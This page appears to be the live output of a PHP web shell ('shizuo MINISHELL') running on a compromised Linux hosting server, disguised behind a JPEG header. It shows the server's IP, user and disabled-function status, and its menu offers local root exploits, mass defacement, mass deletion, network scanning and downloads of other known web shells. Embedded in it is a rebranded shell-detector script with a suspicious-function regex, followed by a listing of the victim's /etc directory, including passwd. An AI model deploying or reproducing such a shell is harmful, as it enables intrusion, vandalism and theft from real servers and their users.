JFIF     ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----  "       H    !1AQaq" 2B #R Tbr 3cs DS $C    %  !1AQa"23   ? p  Y  \?  p  Y  \?  0  [  i~T bq 8O p O O ` R i  < Ft I  8 Df  }  6  F y j h / : c "Y l> te:q \o e 󲍷 HT4& 6   7 i j|  >b  S?*  *h r U S炟[A a [   & j? +EzP We rJFt B  χ%#tE z O۫!1 ͏ % ] ( :@<  t + % Á h O J tM  >  w3Y 牋4Ǎ  T > = why ,  a ѪQ|%6  A %: j<>ɗ _ Cb  ݃|R c f溪 t.С T *Ŀ -{  czů _ ^X  miB[X d 1,  zE & 9g f 9 '.; i}! q ٤ё A   e"A$˝ s # x (l 3  5m! rt` 0~'j2 (]S kv, l JA J3E8 i :cɞ eZ \ k (79 : X & * . ( 2 Hi TF  [ R 䢍mg .  < S0  U f#V ;Ֆ P@3 o< - .L|k f 6@ eu | a Ɵ  >  ?cK 6 T Ɣ  sĤ ;H2 Rچ \ַ n' # I  % 7 qT 3I  5I7 ! O  $Tc [ ֳ ';A g A 2Z"i vd  .i ) ] & {V i .  ?h Mt  [ V( }=ibԡ b L􁥇piη_Z< z )i wi 2h 3 = d 8 1 c 7 7 \ ) } f pA L% c2  Qz ;T8s  q )QFM X ±N aF 8 !U  Z R PV in -G  ˊ z } F }Uw # 5B { } < D  &  Db M ."  * 'V | gll klz[ A b E dѻXx9 ܣ T/` vI ݵ ˂ G *  r|*}<  @ mĒM  . Y |6 U j qO kD 5 ;   G k \  = =S  S  p Qű ? 1ѕ Z ?h L l{Y*K ٛzc + - k % E A'} >< I bp /q voX w,\ 6Z[Xd @֗ $ J # >' <)4 ry٣| A n5 y  M 2{"}  l WX\l g O / B f [.P Zs * T܈ QN V ( *eՓ 5T F D [8'ҥa ڶk7a * 'ҷ\8 \@\  q+D r m΅_ 滊Ӝ R 9M D l lffc+ ,  Ǥ=Œ 7 /  + ,u M bm: P { Gz[ KH ` ؊  P8Aq.C  k pj k N q , N - {Z 44 s V R m" 6? D9 T  ꋇ`4 orqК Z x4 u f [P ,Q aX `P Z Y g A x 6L x  * Q  ϒ h = ,6 #r < , ꕀ a s '% " B H 3߰ $ Xn ֒ 2 Te x K { t Ϋ j Z[ 7L 4V CE ]m y 4-dz   x.*  b h: s`BT R g⻩ j sF J Fl ȕXᓁ ~*j +( 6- G y <ǒ . F H w(+) z T Fߘ ;DmV 3 u@m  X 3B   <· z, @ ŷd2] 8s I ޯ^ 9 u ~ A  4 M? K]  Pl@s_ p: ZR JC[CS.h ˜ ]  wR k7X k   =  ') 71 c ` .{ p j\ {1h{o  = U G֌ -B m+AZX H Jm ; 䡟   i g $ Mk5 L v ,=f "  5 x6{ɏ ID0e v mi'  9$ *£ 9 Tԅ >JV } }$p[bԮ*[jzS*8 T ͖ U wo$ =LT ~  $榍q + kFm) i qފ ( #5  ﯅ X *F#TXJ u JV &=i s1 3 'f  5 <=[ ޭ P ;  _~ģ 8r w; hDT > G 8 z  q ZcqJ - [ܘbň b 31 n i ;1 X , q $>  Z Z 1{  + յ T$ K] * tMI Zb iҘ}b 0 5 [5 ^ݜW h OWun 5 a2Z.G2 YL]j t   ӑ%" <  s UZv i M . V #k i ̖ ) T[)B xB B T . ~ @VĶr# * ZND H; i ], p ( T.uC 4@ G ) Cx 0 #: F bR\(  f 4މF HX , E ] v ?tL vBY 6 u5 AQ 1 x H Ї ^ KwJ ֎5 C  vܫ/B0$ k = b ( )w A 11 = Q 626 /`G <} - 7KEH  Ȥmݱ  Snm = 䫚mݱ ~ U J  B|E L y jD $G 7 R8 ҅Ǜ WVe# p Fx~ ݤF 0 K S<6 WШ; ʐ \ u  ݖVN k 7o X F  g M~ =p,X ŋ j . q Q ZE =6 ]  s >v ^ \wq9r \ kUR $ * Nq?Þ *!s :TU_u T+ X , BTs $؛4m椴z K] P @ # `  =I fiV  nRm+ FPOh 0B  + 5c v :P' y V~ ӆ u kDoh$ \* %Ю= aȼ .- V 'ly 1 3 # E S gV m = \ " WU Ǽ n G  N D õN ;H y ȩP {:?R Ԩ F  b JS | R iv 賴Iئ T! ت @q wn CW @JU m6] : x' + XvӦ m= 7 $ B ~ p%՟U N@  ~w 5  ' e 5 // ~ T  7 # p $ e * ӊE WE s g v SsLp W EW  H; !CY Z f #1W. \uW \,\ f j <qTb n [vxx  ' 1  M P H)  A7s,| F  k 9  * ; ! $Ei   S $ N z 5r D ! &@m ^ d q5Ln N;.6 N|# "1N x <3('& t ~ u 1Tb㫨9ꖛ b d$ߣ=#  mU e $EF 5ýY   Ǘ ssM] 0 JRӪ i +O58  x" \  i i M+M 9 A Q K~ Ñg ִ~ [3GU ҽ# k ԮҔ dWV IP 8u E  qLj  CB {A^ ; ` ˼ t  .tƐm*n y4o& x n aup j8 m !o ; 0y^ ^Eѿ jz )v nÄL ^  3k h ]i *  C j j zn  #b'F v ' 'T H %M & nj 1 i s R-  k  7: 0 /a٬ #  aiVc . 㵔 Yg f 7 h᷸ }&D9 s C bFC| ( -% 'a ̿)  n ގX 4 H^ Α @ Eh L8 j V R 5u V4lZ  = x    __yM1t ?u Ik g @ [ X J j :nkŢu } Gz /I 芬 48q F R = { R icS ۠ Nt £,w4r 쮻~x( U  # & դ>  9  {9eV [ j u] 2 qњ J 0 sÄ|  0튔b > { _F`ة :  ,v fc1 " n1#= v~H A  ܀Ӛ] ; I  Qi  9yw KG zQY Z07 X h; M)i CH- T |A0{  LږT  kܒd  rmm جPF cbE T x  K Ӯ7 (\4 øUu@j yĵ; ! b.W =m  K k K^ #p* 14qkZ 5  5 % <   ԥ C մ $ ֓ ]٬q [4 ! ϗ b쳐X A ~` r 8   < > ?xs / ;   {"@ z [ ߂ U_<ǟ 4 N 61 q u F J_  ~ A ݄ϗr D;xT `ɫ su O`? L # c5 o ؂y ZR <&J + i! 0 Ao L -2 W. t^ (K mH V@x  y  ^: 3w 7 ⹮:', M n + b Lȑ nR  % Q: f "P t  c l & ژ kv + v ,= v 6 Xy* t < : a ϲ= 6rO]XI zڭ 6 w\d ~v k ^m< \) ; l E cѾ@vnM ,  Bx  z %3 "}ٕ > B ; ]V+P F_ > ؚe| OmF  q $/x x z` 9 "  ij !7.\Td 9M i 50ގn 4 O * ^ Q 8=  s ' ٫ %P [O P V s . ,kc A9n X -ޚN[" QՉ M  XJ aLj m ڠu Q  / Ux: ܒ Đ 3V n 6 * K c U hs j j#, m R lb UT 8 0 r` Ї " 6 f oܱԷ-< ) a 'ڻ TXq Y Hy 9 IW Y uMF ϒAq 4 / 'i$ = | K 4 0 | 6p 0 )o ct H+CA- x | X l8  3 :  KX U Shizuo1337

shizuo MINISHELL

:/etc/ [ drwxr-xr-x ]

System: Linux altar59.supremepanel59.com 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
Software: LiteSpeed
PHP Version: 7.4.33 PHP Os: Linux
Server IP: 198.23.58.217
Your IP: 216.73.216.226
User: esmrtsco (3867) | Group: esmrtsco (3869)
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: OFF | WGET: ON | CURL: ON | GCC: OFF | PKEXEC: OFF
Disable Function:
NONE
Adminer Auto Root Command Create RDP Config Get Shell/Tools Get Localroot Mass Deface Mass Delete Network Scan Root Upload Website
Get Tools
Wso Shell Alfa Tesla Shell Marijuana Shell WP Add Admin Shell Scanner CSRF
Get Shell Backdoor Detector
array('php', 'txt')); if (is_file('shelldetect.ini')) { $params = parse_ini_file('shelldetect.ini'); } //static settings initialize shellDetector::$_settings = $params; $shelldetector = new shellDetector($params); if ($shelldetector->isConsole()) { $options = getopt("d:hcb"); if (array_key_exists("d",$options)) { $shelldetector->setDir($options["d"]); } if (array_key_exists("b",$options)) { $shelldetector->setBrief(true); } if (array_key_exists("c",$options)) { shellDetector::$_settings['is_cron'] = true; $shelldetector->setCron(true); } } $shelldetector->start(); class shellDetector { //settings: extensions that should be scanned private $extension = array('php','txt','Php', 'PhP', 'phP', 'PHp', 'phtml', 'shtml', 'PHP'); //settings: show line number where suspicious function used private $showlinenumbers = true; //settings: used with access time & modified time private $dateformat = "H:i:s d/m/Y"; //settings: if I want to use other language private $language = ''; //settings: if console used private $console = false; //settings: if brief info is needed private $brief = false; //settings: scan specific directory private $directory = '.'; //settings: scan hidden files & directories private $scan_hidden = true; //settings: perform different task private $task = ''; //settings: used with is_cron(true) file format for report file private $report_format = '\s\h\e\l\l\d\e\t\e\c\t\o\r\_Gi-dmY.\h\t\m\l'; //settings: if true run like a cron (no output) private $is_cron = false; //settings: maximum files to scan (more then 30000 you should scan specific directory) private $filelimit = 30000; //settings: protect script with user & password in case to disable simply set to NULL private $authentication = array("username" => "babiraga", "password" => "babiraga"); //settings: get shells signatures db by remote private $remotefingerprint = false; //settings: hide suspicious files private $hidesuspicious = false; //settings: type of file submission to review (0 - old one not secure but will work with allow_url_fopen = false, 1 - new one more secure but allow_url_fopen need to be true.) private $submitfile = 1; /* * System variables */ //system variable used with output static $_settings = array(); //system variable used with is_cron static $_output = ''; // global counters private $counter = 0; private $suspcounter = 0; //system variable hold all scanned files private $_files = array(); //system variable hold bad files private $_badfiles = array(); //system: hold shells signatures private $fingerprints = array(); //system: title private $_title = 'Web Shell Detector by Babiraga Shell'; //system: version of shell detector private $_version = '0.666'; //system: regex for detect Suspicious behavior private $_regex = '%(preg_replace.*\/e|`.*?\$.*?`|\bcreate_function\b|\bpassthru\b|\bshell_exec\b|\bexec\b|\bbase64_decode\b|\bedoced_46esab\b|\beval\b|\bsystem\b|\bproc_open\b|\bpopen\b|\bcurl_exec\b|\bcurl_multi_exec\b|\bparse_ini_file\b|\bshow_source\b)%'; //system: public key to encrypt file content private $_public_key = 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JR2ZNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0R05BRENCaVFLQmdRRDZCNWZaY2NRN2dROS93TitsWWdONUViVU4NClNwK0ZaWjcyR0QvemFrNEtDWkZISEwzOHBYaS96bVFBU1hNNHZEQXJjYllTMUpodERSeTFGVGhNb2dOdzVKck8NClA1VGprL2xDcklJUzVONWVhYUQvK1NLRnFYWXJ4bWpMVVhmb3JIZ25rYUIxQzh4dFdHQXJZWWZWN2lCVm1mRGMNCnJXY3hnbGNXQzEwU241ZDRhd0lEQVFBQg0KLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tDQo='; private $_self = ''; /** * Constructor */ function __construct($settings = null) { if (is_array($settings)) { $own = get_object_vars($this); foreach ($settings as $key => $value) { if (key_exists($key, $own) && substr($key, 0, 1) != '_') { $this->$key = $value; } } $this->_self = basename(__FILE__); } if ($this->authentication != null) { if ((!isset($_SERVER['PHP_AUTH_USER']) || (isset($_SERVER['PHP_AUTH_USER']) && $_SERVER['PHP_AUTH_USER'] != $this->authentication['username'])) || (!isset($_SERVER['PHP_AUTH_PW']) || (isset($_SERVER['PHP_AUTH_PW']) && $_SERVER['PHP_AUTH_PW'] != $this->authentication['password']))) { header('WWW-Authenticate: Basic realm="Login"'); header('HTTP/1.0 401 Unauthorized'); echo $this->t('Please login to continue.'); exit ; } } if (isset($_GET['task'])) { $this->task = $_GET['task']; } if (isset($_GET['s']) && 1 == $_GET['s']) { $this->hidesuspicious = false; } if (file_exists('shelldetect.db')) { $context = stream_context_create(array('http' => array('timeout' => 30))); $this->fingerprints = unserialize(base64_decode(file_get_contents('shelldetect.db', 0, $context))); } if ($this->remotefingerprint) { $this->fingerprints = unserialize(base64_decode(file_get_contents('https://raw.github.com/emposha/PHP-Shell-Detector/master/shelldetect.db'))); } } public function setDir($dir) { $this->directory = $dir; } public function setCron($val) { $this->is_cron = $val; } public function setBrief($val) { $this->brief = $val; } public function isBrief() { return $this->brief; } public function isConsole() { return $this->console; } /** * Start function */ public function start() { switch ($this->task) { case 'sendfile': $this->sendfile(); break; case 'getsha': $this->header(); $this->filescan(); $this->showsha(); $this->footer(); break; case 'update': $this->header(); $this->update(); $this->footer(); break; default: $this->header(); $this->version(); $this->filescan(); $this->anaylize(); $this->footer(); break; } } /** * Update function get latest update */ private function update() { if ($this->version()) { $context = stream_context_create(array('http' => array('timeout' => 30))); $content = file_get_contents('https://raw.github.com/emposha/PHP-Shell-Detector/master/shelldetect.db', 0, $context); chmod('shelldetect.db', 0777); if (file_put_contents('shelldetect.db', $content)) { self::output($this->t('Shells signature database updated succesfully!')); } else { self::output($this->t('Cant save shells signature database please check permissions'), 'error'); } } else { self::output($this->t('Your shells signatures database already updated!')); } } /** * Check version function */ private function version() { $context = stream_context_create(array('http' => array('timeout' => 10, 'header' => 'Connection: close'))); //check application version $app_version = floatval($this->_version); $server_version = file_get_contents('https://raw.github.com/emposha/PHP-Shell-Detector/master/version/app', 0, $context); if (strlen($server_version) != 0 && floatval($server_version) != 0 && (floatval($server_version) > $app_version)) { self::output($this->t('New version of application found. Please update!'), 'error'); } else if (strlen($server_version) == 0 || intval($server_version) == 0) { self::output($this->t('Cant connect to server! Application version check failed!'), 'error'); } $version = isset($this->fingerprints['version']) ? $this->fingerprints['version'] : 0; $server_version = file_get_contents('https://raw.github.com/emposha/PHP-Shell-Detector/master/version/db', 0, $context); if (strlen($server_version) != 0 && intval($server_version) != 0 && (intval($server_version) > intval($version))) { self::output($this->t('New version of shells signature database found. Please update!'), 'error'); return true; } else if (strlen($server_version) == 0 || intval($server_version) == 0) { self::output($this->t('Cant connect to server! Version check failed!'), 'error'); } unset($this->fingerprints['version']); return false; } /** * Send file to analyze */ private function sendfile() { self::output(''); if (isset($_POST['filename'])) { $filename = base64_decode($_POST['filename']); if (file_exists($filename)) { $email = isset($_POST['email']) ? $_POST['email'] : ''; $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : $_SERVER["SERVER_NAME"]; $postdata = http_build_query(array('task' => 'submit', 'ver' => '2', 'code' => base64_encode(file_get_contents($filename)), 'email' => $email, 'ip' => $_SERVER['REMOTE_ADDR'])); $context = stream_context_create(array('http' => array('method' => 'POST', 'header' => "Content-type: application/x-www-form-urlencoded\r\nReferer: " . $referer . "\r\n", 'content' => $postdata))); $server_version = file_get_contents('http://www.shelldetector.com/api/', 0, $context); self::output($server_version, 'success'); } else { self::output($this->t('Cant find selected file.'), 'error'); } } else { self::output($this->t('No file specified.'), 'error'); } } /** * Scan function executer */ private function filescan() { self::output($this->t('Starting file scanner, please be patient file scanning can take some time.')); self::output($this->t('Number of known shells in database is: ') . count($this->fingerprints)); self::output('
' . $this->t('Files found:') . '', null, false); $this->listdir($this->directory); self::output('
', null, false); if ($this->filelimit>0) { if (count($this->_files) > $this->filelimit) { self::output($this->t('File limit reached, scanning process stopped.')); } } if ($this->filelimit>0) { self::output($this->t('File scan done, we have: @count files to analize', array("@count" => count($this->_files)))); } else { self::output($this->t('File scan done, we have: @count files to analize', array("@count" => $this->counter))); } if ($this->hidesuspicious) { self::output($this->t('Please note suspicious files information will not be displayed'), 'error'); } } /** * Show sha1 for found files */ private function showsha() { foreach ($this->_files as $file) { self::output('
' . $this->t('Show sha for file:') . ' ' . basename($file) . '-
', null, false); self::output('
' . $this->t('Full path:') . '
' . $file . '
', null, false); self::output('
' . $this->t('Sha1:') . '
' . sha1_file($file) . '
', null, false); } self::output('', 'clearer'); } /** * Check files for using suspicious function */ private function analyze($file) { $counter = 0; $this->counter++; $content = file_get_contents($file); $base64_content = base64_encode($content); $shellflag = $this->unpack($file, $content, $base64_content); if ($shellflag != false) { $this->fileInfo($file, $base64_content); $shellcolor = 'red'; preg_match('#(.*)\[(.*?)\]\[(.*?)\]\[(.*?)\]#', $shellflag, $shellmatch); if (is_array($shellmatch) && count($shellmatch)>0) { $shellflag = $shellmatch[1] . '(' . $shellmatch[4] . ')'; switch($shellmatch[3]) { case 1 : $shellcolor = 'orange'; $shellflag .= ' ' . $this->t('please note it`s a malicious file not a shell'); break; case 2: $shellcolor = 'orange'; $shellflag .= ' ' . $this->t('please note potentially dangerous file (legit file but may be used by hackers)'); break; } } if ($this->isConsole() && !$this->isBrief()) { print "$file: $shellflag\n"; } self::output('
' . $this->t('Fingerprint:') . '
' . $this->t('Positive, it`s a ') . $shellflag . '
', null, false); } else if ($this->hidesuspicious != true) { if (preg_match_all($this->_regex, $content, $matches)) { $this->fileInfo($file, $base64_content); if ($this->showlinenumbers) { self::output('
' . $this->t('suspicious functions used:') . '
', null, false); $_content = explode("\n", $content); for ($line = 0; $line < count($_content); $line++) { if (preg_match_all($this->_regex, $_content[$line], $matches)) { $lineid = md5($line . $file); self::output($this->_implode($matches) . ' (' . $this->t('line:') . ($line + 1) . ');', null, false); self::output('', null, false); } } self::output(' 
', null, false); } else { self::output('
' . $this->t('suspicious functions used:') . '
' . $this->_implode($matches) . ' 
', null, false); } $key = $this->fileprepare($file, $base64_content); self::output('
' . $this->t('Fingerprint:') . '
' . $key . '
', null, false); $this->suspcounter++; } } else { if (preg_match_all($this->_regex, $content, $matches)) { $this->suspcounter++; } } } /** * Check files for using suspicious function */ private function anaylize() { foreach ($this->_files as $file) { if (is_readable($file)) { $this->analyze($file); } } self::output('', 'clearer'); self::output($this->t('Status: @count suspicious files found and @shells shells found. Rescan and show suspicious files' , array("@count" => $this->suspcounter, "@shells" => count($this->_badfiles) ? '' . count($this->_badfiles) . '' : count($this->_badfiles))), (count($this->_badfiles) ? 'error' : 'success')); } /** * Prepare file submit function */ private function fileprepare($file, $base64_content) { $filtered_file = filter_var($file, FILTER_SANITIZE_SPECIAL_CHARS); $key = $this->t('Negative') . ' (' . $this->t('if wrong') . ' ' . $this->t('submit file for analize') . ')'; $key .= ''; return $key; } /** * Show file information */ private function fileInfo($file, $base64_content) { $owner = fileowner($file); $self_owner = getmyuid(); $permissions = substr(sprintf('%o', fileperms($file)), -4); if (function_exists('posix_getpwuid')) { $owner = posix_getpwuid($owner); $owner = $owner['name']; $self_owner = posix_getpwuid($self_owner); $self_owner = $self_owner['name']; } if ($owner !== $self_owner) { $owner = '' . $owner .' (' . $this->t('Please note: file have different owner') . ')'; } if (intval($permissions) == 777) { $permissions = '' . $permissions .' (' . $this->t('Please note: file have full access permissions') . ')'; } $filtered_file = filter_var($file, FILTER_SANITIZE_SPECIAL_CHARS); self::output('
' . $this->t('Suspicious behavior found in:') . ' ' . basename($filtered_file) . '-
', null, false); self::output('
' . $this->t('Full path:') . '
' . $filtered_file . '
', null, false); self::output('
' . $this->t('Owner:') . '
' . $owner . '
', null, false); self::output('
' . $this->t('Permission:') . '
' . $permissions . '
', null, false); self::output('
' . $this->t('Last accessed:') . '
' . date($this->dateformat, fileatime($file)) . '
', null, false); self::output('
' . $this->t('Last modified:') . '
' . date($this->dateformat, filemtime($file)) . '
', null, false); self::output('
' . $this->t('MD5 hash:') . '
' . md5($base64_content) . '
', null, false); self::output('
' . $this->t('Filesize:') . '
' . $this->HumanReadableFilesize($file) . '
', null, false); } /** * Unpacking function, main idea taken from http://www.tareeinternet.com/ */ private function unpack($file, $content, $base64_content) { if ($flag = ($this->fingerprint($file, $base64_content)) ) { return $flag; } elseif ($flag = ($this->fingerprint($file, $content))) { return $flag; } else { $counter = 0; $encoded_content = preg_replace("/<\?php|\?>|<\?/", "", $content); $temp = array(); if (preg_match("/(\beval\b\(gzinflate|\beval\b\(base64_decode)/", $encoded_content)) { while (preg_match("/\beval\((gzinflate|base64_decode)\((.*?)\);/", $encoded_content, $matches)) { $encoded_content = preg_replace("/<\?php|\?>|<\?|eval/", "", $encoded_content); $temp = $matches; if (isset($matches[1]) && isset($matches[2]) && strpos($matches[2], '$') === false) { eval("\$encoded_content = " . $matches[1] . '(' . $matches[2] . ";"); } else if (isset($matches[1]) && isset($matches[2]) && strpos($matches[2], '$') !== false) { preg_match('/\$(.*?)\)/', $matches[2], $variable); if (isset($variable[1])) { preg_match('/\$' . $variable[1] . '=(.*?);/', $content, $content_match); if (isset($content_match[1])) { $content_temp = $matches[1] . '(' . str_replace('$' . $variable[1], $content_match[1], $matches[2]); eval("\$encoded_content = " . $content_temp . ";"); } else { $encoded_content = ''; } } else { $encoded_content = ''; } } else { $encoded_content = ''; } if ($counter > 20) { //protect from looping break; } $counter++; } } else if (preg_match("/preg_replace.*\/e\"/", $encoded_content)) { while (preg_match("/preg_replace\((.*?)\/e(.*)\);/", $encoded_content, $matches)) { $encoded_content = preg_replace("/<\?php|\?>|<\?/", "", $encoded_content); preg_replace("/preg_replace\((.*?)\/e(.*)\);/", "", $encoded_content); if (isset($matches[1]) && isset($matches[2])) { eval("\$encoded_content = preg_replace(" . $matches[1] . '/' . $matches[2] . ');'); } if ($counter > 20) { //protect from looping break; } $counter++; } } else { $encoded_content = ''; } if ($encoded_content != '') { $encoded_content64 = base64_encode($encoded_content); $flag = $this->fingerprint($file, $encoded_content64); } else { $flag = false; } } return $flag; } /** * Fingerprint function */ private function fingerprint($file, $content = null) { $key = false; // pre prepare all the fingerprints on the first request for optimisation. static $fingerprint_cache = array(); if(empty($fingerprint_cache) === true){ foreach ($this->fingerprints as $fingerprint => $shell){ if (strpos($fingerprint, 'bb:') !== false) { $fingerprint = base64_decode(str_replace('bb:', '', $fingerprint)); } $fingerprint_cache['/' . preg_quote($fingerprint, '/') . '/'] = $shell; } } foreach ($fingerprint_cache as $fingerprint => $shell) { if (preg_match($fingerprint, $content)) { # [version] => 1359928984 db content FIXME?!?!? if ($fingerprint == "version") break; $key = $shell; $this->_badfiles[] = $file; break; } } return $key; } /** * Recursively implode array */ private function _implode($array, $glue = ', ') { $temp = array(); foreach ($array as $value) { if (is_array($value)) { $temp[] = $this->_implode($value); } else { $temp[] = $value; } } return implode($glue, array_unique($temp)); } /** * Output footer function */ private function footer() { self::output('
', null, false); if ($this->is_cron || $this->console) { $this->flush(); } } /** * Output header function */ private function header() { $style = ''; $script = 'function init(){$("#loader").hide();$("dt").live("click", function(){var text=$(this).children(".plus");if(text.length){$(this).next("dd").slideToggle();if(text.text()=="+"){text.text("-")}else{text.text("+")}}});$(".showline").live("click", function(){var id="li"+$(this).attr("id");$("#"+id).dialog({height:440,modal:true,width:600,title:"Source code"});return false});$(".source_submit").live("click",function(){var id="for"+$(this).attr("id");$("#wrap"+id).dialog({autoOpen:false,height:200,width:550,modal:true,resizable: false,title:"File submission",buttons: {"Submit file to analysis": function() {if ($(".ui-dialog-content form").length) {$("#i"+id).removeClass("hidden");$("#"+id).submit();$(".ui-dialog-content form").remove();} else {alert("This file already submited");}}/*,"Submit file to Virustotal": function () {alert("Not implemented");}*/}});$("#wrap"+id).dialog("open");return false})}$(document).ready(init);'; self::output('Web Shell Detector by Babiraga Shell' . $style . '

' . $this->_title . ' v' . $this->_version . '
(PHP Version: ' . phpversion() .')

' . $this->t('Please wait') . '
', null, false); } /** * Output */ static function output($content, $class = 'info', $html = true) { if ((isset(self::$_settings) && isset(self::$_settings['is_cron']) && self::$_settings['is_cron']) || (isset(self::$_settings) && isset(self::$_settings['console']) && self::$_settings['console'])) { if ($html) { self::$_output .= '
' . $content . '
'; } else { self::$_output .= $content; } } else { if ($html) { print '
' . $content . '
'; } else { print $content; } flush(); } } /** * Save scanned data to file */ private function flush() { if ($this->isConsole()) { print "$this->counter files, $this->suspcounter suspicious, ".count($this->_badfiles)." shells\n"; } if ($this->is_cron) { $filename = date($this->report_format, time()); if (file_put_contents($filename, self::$_output)) { print $this->t('Done, report file created'); } else { print $this->t('Error, report file creation failed'); } } } /** * Translate function (ported from Drupal) */ private function t($string, $args = array()) { if ($this->language) { if (is_file('lang/' . $this->language . '.php')) { include ('lang/' . $this->language . '.php'); if (isset($local[$string])) { $string = $local[$string]; } } } if (empty($args)) { return $string; } else { foreach ($args as $key => $value) { switch ($key[0]) { case '@' : $args[$key] = $value; break; } } return strtr($string, $args); } } /** * Recursivly list directories */ private function listdir($dir) { if (!is_dir($dir) || !is_readable($dir)) { return true; } $handle = opendir($dir); if ($this->filelimit > 0) { if (count($this->_files) > $this->filelimit) { return true; } } while (($file = readdir($handle)) !== false) { if ($file == '.' || $file == '..') { continue; } $filepath = $dir == '.' ? $file : $dir . '/' . $file; if (is_link($filepath)) { continue; } if (is_file($filepath)) { if (substr(basename($filepath), 0, 1) != "." || $this->scan_hidden) { $extension = pathinfo($filepath); if (is_string($this->extension) && $this->extension == '*') { if ($this->filelimit > 0) { $this->_files[] = $filepath; } else { $this->analyze($filepath); } } else { if (isset($extension['extension']) && in_array($extension['extension'], $this->extension)) { if ($this->_self != basename($filepath)) { if ($this->filelimit > 0) { $this->_files[] = $filepath; } else { $this->analyze($filepath); } } } } } } else if (is_dir($filepath)) { if (substr(basename($filepath), 0, 1) != "." || $this->scan_hidden) { $this->listdir($filepath); } } } self::output('' . count($this->_files) . '', null, false); closedir($handle); } /** * Returns a human readable filesize * @author wesman20 (php.net) * @author Jonas John * @version 0.3 * @link http://www.jonasjohn.de/snippets/php/readable-filesize.htm */ private function HumanReadableFilesize($file) { $size = filesize($file); $mod = 1024; $units = explode(' ', 'B KB MB GB TB PB'); for ($i = 0; $size > $mod; $i++) { $size /= $mod; } return round($size, 2) . ' ' . $units[$i]; } /** * Own error handler */ static public function error_handler($errno, $errstr, $errfile, $errline) { switch ($errno) { case E_USER_WARNING : case E_USER_ERROR : case E_USER_NOTICE : default : shellDetector::output('Error: ' . $errstr . ' line: ' . $errline, 'error'); break; } } } ?> Click Here
Name Type Last Edit Size Owner/Group Permission Action
..
alternatives dir 2026-10-25 0:22 - root/root drwxr-xr-x
apache2 dir 2025-09-11 14:36 - root/root drwxr-xr-x
bash_completion.d dir 2026-10-25 0:22 - root/root drwxr-xr-x
cl.nodejs dir 2023-01-03 13:00 - root/root drwxr-xr-x
cl.php.d dir 2026-01-16 12:24 - esmrtsco/esmrtsco drwxr-xr-x
cl.python dir 2023-01-03 13:00 - root/root drwxr-xr-x
cl.selector dir 2025-09-11 14:36 - esmrtsco/esmrtsco drwxr-xr-x
cl.selector.conf.d dir 2026-10-23 0:34 - root/root drwxr-xr-x
cpanel dir 2026-10-25 0:22 - root/root drwxr-x--x
crypto-policies dir 2023-10-15 3:58 - root/root drwxr-xr-x
default dir 2026-09-25 0:40 - root/root drwxr-xr-x
environment-modules dir 2026-10-14 15:35 - root/root drwxr-xr-x
fonts dir 2026-10-25 0:22 - root/root drwxr-xr-x
gcrypt dir 2026-10-25 0:22 - root/root drwxr-xr-x
imunify360 dir 2025-09-12 6:59 - root/root drwxr-xr-x
ld.so.conf.d dir 2026-10-25 0:22 - root/root drwxr-xr-x
mail dir 2022-12-14 12:11 - root/root drwxr-xr-x
modulefiles dir 2026-10-14 15:35 - root/root drwxr-xr-x
motd.d dir 2026-08-18 13:12 - root/root drwxr-xr-x
my.cnf.d dir 2026-06-08 20:46 - root/root drwxr-xr-x
openldap dir 2026-10-25 0:22 - root/root drwxr-xr-x
pam.d dir 2026-10-25 0:22 - root/root drwxr-xr-x
pki dir 2024-05-02 0:14 - root/root drwxr-xr-x
profile.d dir 2026-10-25 0:22 - root/root drwxr-xr-x
sasl2 dir 2026-06-09 19:03 - root/root drwxr-xr-x
scl dir 2026-10-25 0:22 - root/root drwxr-xr-x
security dir 2026-10-25 0:22 - root/root drwxr-xr-x
skel dir 2026-10-25 0:22 - root/root drwxr-xr-x
snmp dir 2026-10-25 0:22 - root/root drwxr-xr-x
ssh dir 2026-10-25 0:22 - root/root drwxr-xr-x
ssl dir 2026-10-25 0:22 - root/root drwxr-xr-x
sysconfig dir 2026-10-25 0:22 - root/root drwxr-xr-x
.etc.version file 2026-10-25 0:22 6 B root/root -rw-------
DIR_COLORS file 2026-09-22 11:03 4.43 KB root/root -rw-r--r--
aliases file 2023-05-15 14:46 1.49 KB root/root -rw-r--r--
at.deny file 2022-10-10 10:23 1 B root/root -rw-r--r--
backupmxhosts file 2018-06-18 13:05 0 B root/mail -rw-r-----
bashrc file 2022-12-14 12:32 3.5 KB root/root -rw-r--r--
domainusers file 2026-10-25 0:15 45.68 KB root/mail -rw-r-----
environment file 2023-05-15 14:46 0 B root/root -rw-r--r--
group file 2026-10-25 0:24 511 B root/root -rw-r--r--
host.conf file 2018-09-10 11:51 9 B root/root -rw-r--r--
hosts file 2026-10-25 0:18 240 B root/root -rw-r--r--
inputrc file 2018-09-10 11:51 942 B root/root -rw-r--r--
ld.so.cache file 2026-10-24 2:23 38.26 KB root/root -rw-r--r--
ld.so.conf file 2026-10-13 7:45 28 B root/root -rw-r--r--
localtime file 2026-10-07 20:09 127 B root/root -rw-r--r--
lynx-site.cfg file 2022-04-18 21:01 66 B root/root -rw-r--r--
lynx.cfg file 2022-04-18 21:01 158.66 KB root/root -rw-r--r--
lynx.lss file 2022-04-18 21:01 3.5 KB root/root -rw-r--r--
mail.rc file 2026-09-29 17:42 1.92 KB root/root -rw-r--r--
mailcap file 2017-05-11 13:00 272 B root/root -rw-r--r--
mailhelo file 2026-10-25 0:15 150.75 KB root/mail -rw-r-----
mailips file 2026-10-25 0:15 136.34 KB root/mail -rw-r-----
mime.types file 2017-05-11 13:00 58.94 KB root/root -rw-r--r--
my.cnf file 2026-08-31 11:30 615 B root/root -rw-r--r--
nsswitch.conf file 2023-06-09 0:15 2.07 KB root/root -rw-r--r--
passwd file 2026-10-25 0:24 1.32 KB root/root -rw-r--r--
profile file 2022-12-14 12:32 2.72 KB root/root -rw-r--r--
protocols file 2018-09-10 11:51 6.41 KB root/root -rw-r--r--
resolv.conf file 2023-07-28 23:11 98 B root/root -rw-r--r--
rpc file 2018-08-01 5:10 1.6 KB root/root -rw-r--r--
screenrc file 2021-05-05 10:04 6.56 KB root/root -rw-r--r--
senderverifybypasshosts file 2018-06-18 13:05 0 B root/mail -rw-r-----
